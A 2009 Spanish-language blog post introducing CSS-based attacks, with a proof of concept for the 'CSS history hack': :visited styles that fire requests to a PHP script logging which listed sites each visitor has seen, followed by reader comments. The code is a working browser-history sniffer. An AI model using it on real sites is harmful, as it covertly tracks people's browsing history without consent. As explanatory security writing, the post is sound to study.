martes, 17 de febrero de 2009

CSS Attacks I : CSS History Hack

Saludos!


Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejemplo bien sencillo sacado del scanner en CSS que me linkeó S e t h hace un par de días.


Bien, a qué nos referimos cuando hablamos de CSS attacks... nos referimos a aquellos ataques que, o bien se basan en CSS (Cascade Style Sheet) o bien lo usan como vector. Un ejemplo, que en cierto modo usa de CSS para llevarse a cabo, es el cickjacking, tema sobre el cual hablaremos en otras entregas.



El peligro de los ataques CSS reside en que en principio no hay forma de protección, ya que si tú visitas una web maliciosa, normalmente si se intenta realizar algún tipo de ataque, éste se intenta en un 99% a través de malware en Javascript. Por el contrario, si un usuario bloqueaba la ejecución de código JS, estaba "blindado" contra ataques de este tipo.


Es a finales de verano/principio de otoño cuando Lix me estuvo acribillando a links sobre esto de usar CSS para ataques (él en concreto me estuvo hablando de aquello del clickjacking), y sí, fue una especie de "revolución bloggera", era raro el blog que no había publicado algo sobre el tema. Y es que, ciertamente, cuando una vulnerabilidad se le da mucha fama es lo que pasa. Cuando hoy en día encontramos vulnerabilidades de gran importancia... si no se las promociona quedan en un grupo reducido de bugtraqs y advisorys de las webs, como no, de habla inglesa.


Bueno, retornando a lo que es el tema en sí, yo he querido ejemplificar (más que nada para abrir boca y que los lectores esperen con mayor ansia los siguiente capitulos sobre el tema) algo de ataques en CSS con un logger de sitios visitados (incido, la idea no es mía, la ví en un lnk que me ruló S e t h, pero el PoC sí es mío).

Como todos sabemos, los enlaces de las webs se pueden "embellecer" aplicandole atributos CSS como pueden ser hover (para que cambie el diseño al depositar el cursor sobre el link), visited, etc... Y también sabemos, que existen ciertos elementos en los cuales podemos hacer referencias a elementos externos. Hacia estos elementos externos salen peticiones GET desde nosotros para recopilar su contenido. Bien, ¿y que pasa con esto?. Pues que si se hacen peticiones de tipo GET hacia elemtnos del exterior... podemos incluir el seteo de variables GET y de esta forma logear cierta información, hacer que el usuario realice algún tipo de acción, etc...


Si nosotros declaramos en a:visited que mande una petición a otro archivo nuestro, y ponemos un listado de webs, podremos loggear en qué webs ha entrado. Aquí os dejo la prueba de concepto:


<head><title>Proof of Concept -> CSS History Hack</title></head>
<body>
<style>
a.link1:visited{
background: url(poc.php?visited=1);
}
a.link2:visited{
background: url(poc.php?visited=2);
}
a.link3:visited{
background: url(poc.php?visited=3);
}
</style>


<h1>Proof of Concept for CSS Hystory Hack</h1>
<br><br><center>
<a href="http://google.com" class="link1">Google</a><br>
<a href="http://0verl0ad.blogspot.com" class="link2">0V3RL04D 1N TH3 N3T</a><br>
<a href="http://unam.mx" class="link3">Primera web que me salió por google XD</a><br>

<?php
$file = $_SERVER['REMOTE_ADDR'].'.txt';
$abierto = fopen($file, a);
switch($_GET['visited']){
case '1':
fwrite($abierto," Google,");
break;
case '2':
fwrite($abierto, "\nMi blog,");
break;
case '3':
fwrite($abierto, "\nUnam.mx");
break;
}
fclose($abierto);
echo '<a href='.$_SERVER['REMOTE_ADDR'].'.txt> Click aqui para ver tu historial </a>';
?>
5 0verl0ad Labs: CSS Attacks I : CSS History Hack Saludos! Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejempl...

3 comentarios:

Anónimo dijo...

efectivamente codeaste un historial de las paginas visitadas con CSS y PHP peeero no veo ningun tipo de juankeo con esto xD
a lo mas un XSRF creado por javier,
bueno seguro que mas adelante mostraras las cosas que se pueden hacer con esto =P los espero con ancias ^^

The X-C3LL dijo...

El título no es mío, cierto es que no hay ningún tipo de hack ni similar, lo he mantenido símplemente por si alguien googlea encuentre la publicación a la que hago referncia y donde viene explicada esta idea.

Suriel Alejandro Alva Ramirez dijo...

exelente entrada hermano

< >